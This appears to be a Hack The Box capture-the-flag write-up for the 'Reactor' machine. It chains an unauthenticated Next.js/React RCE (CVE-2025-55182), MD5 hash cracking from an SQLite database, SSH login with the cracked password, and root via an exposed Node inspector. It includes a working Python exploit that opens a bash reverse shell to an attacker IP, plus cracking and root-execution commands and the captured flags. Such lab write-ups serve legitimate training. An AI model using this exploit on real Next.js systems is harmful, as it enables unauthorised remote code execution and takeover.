Reactor
Author: 0xIDA
Solvers
Platform: HTB · Category: machine · Difficulty: Easy
Difficulty: Easy
OS: Linux (Ubuntu)
IP (this run): 10.129.47.126
Host: reactor.htb
Attacker IP: 10.10.15.137
Flags (verified live)
| Flag | Value |
|---|---|
| user | da690cef21e400c314ea9c65686baa81 |
| root | a51120caa8b9588160da8af7942b5d2a |
Kill chain (summary)
- CVE-2025-55182 (React2Shell) unauthenticated RCE on Next.js 15.0.3 / React 19.0.0 → shell as
node - Read SQLite
reactor.db→ crack MD5 ofengineer→reactor1 - SSH as
engineer→ user.txt - Local Node inspector (
--inspect=127.0.0.1:9229) runsworker.jsas root → Chrome DevTools ProtocolRuntime.evaluate→ root.txt
1. Recon
echo "10.129.47.126 reactor.htb" >> /etc/hosts
nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.47.126
| Port | Service |
|---|---|
| 22 | OpenSSH 9.6p1 Ubuntu |
| 3000 | Next.js (X-Powered-By: Next.js) — ReactorWatch Core Monitoring |
Landing page: fictional nuclear plant dashboard (static metrics, personnel list). No login UI on the surface.
App versions (from package.json after foothold):
"next": "15.0.3",
"react": "19.0.0",
"react-dom": "19.0.0"
These versions are in the React2Shell / CVE-2025-55182 blast radius (RSC Flight protocol RCE).
2. Foothold — CVE-2025-55182 (React2Shell)
Unauthenticated RCE via crafted multipart POST with Next-Action header. Public PoCs (e.g. maple3142 / lachlan2k) abuse prototype pollution in the Flight protocol so _prefix is evaluated as JavaScript via constructor:constructor.
PoC (reverse shell)
import requests, json
url = "http://reactor.htb:3000/"
prefix = (
"process.mainModule.require('child_process')"
".exec('bash -c \"bash -i >& /dev/tcp/10.10.15.137/4447 0>&1\"');"
)
p0 = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"},
},
}
files = {"0": (None, json.dumps(p0)), "1": (None, '"$@0"')}
requests.post(url, files=files, headers={"Next-Action": "x"}, timeout=8)
# listener (allow HTB net if UFW drops inbound)
ufw allow from 10.0.0.0/8 to any port 4447 proto tcp
ncat -lvnp 4447
Shell context:
uid=999(node) gid=988(node)
cwd=/opt/reactor-app
Important: execSync blocks the HTTP worker; prefer async exec for reverse shells so the Node process stays healthy.
3. Enumeration as node
/opt/reactor-app/
.env
reactor.db (sqlite, mode 0640, owner node)
package.json
app/ .next/ ...
Listening:
*:3000 next-server (node)
127.0.0.1:9229 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js (as root!)
SQLite credentials
sqlite3 /opt/reactor-app/reactor.db .dump
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8',...);
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e',...);
Hashes are raw MD5:
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# engineer -> reactor1
# echo -n reactor1 | md5sum => 39d97110eafe2a9a68639812cd271e8e
admin hash was not required for the path (did not crack in rockyou during this run).
4. User — SSH as engineer
ssh engineer@10.129.47.126
# password: reactor1
cat ~/user.txt
# da690cef21e400c314ea9c65686baa81
5. Root — Node Inspector / CDP abuse
Root process:
root ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Inspector is bound to localhost only, but any local user (including engineer / node) can speak the Chrome DevTools Protocol over WebSocket.
curl -s http://127.0.0.1:9229/json/list
# webSocketDebuggerUrl: ws://127.0.0.1:9229/<uuid>
Runtime.evaluate
Plain require is not defined in the inspector eval context; use:
process.mainModule.require('child_process')
.execSync('id; cat /root/root.txt').toString()
Minimal Python CDP client (upload to target, run as engineer):
# 1) GET /json/list → websocket URL
# 2) WebSocket handshake
# 3) Runtime.enable
# 4) Runtime.evaluate with process.mainModule.require(...)
Result (live):
uid=0(root) gid=0(root) groups=0(root)
a51120caa8b9588160da8af7942b5d2a
Commands cheat-sheet
# hosts + recon
echo "10.129.47.126 reactor.htb" >> /etc/hosts
nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.47.126
# React2Shell reverse shell (see Python above) + ncat -lvnp 4447
# as node
sqlite3 /opt/reactor-app/reactor.db "select * from users;"
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# user
ssh engineer@10.129.47.126 # reactor1
cat ~/user.txt
# root via CDP
curl -s http://127.0.0.1:9229/json/list
# Runtime.evaluate:
# process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()
Key lessons
| Topic | Detail |
|---|---|
| React/Next.js | RSC Flight protocol bugs (CVE-2025-55182) = unauth RCE on default apps |
| Secrets in SQLite | App DBs often hold weak hashes → rockyou |
Node --inspect | Never leave inspector on production, even on 127.0.0.1 — local users = RCE as that process UID |
| CDP eval | Use process.mainModule.require when bare require is missing |
Verification status
- User flag: read live from
/home/engineer/user.txtasengineervia SSH - Root flag: read live via CDP
Runtime.evaluateas root Node process
Machine: Reactor · Easy · Linux · 10.129.47.126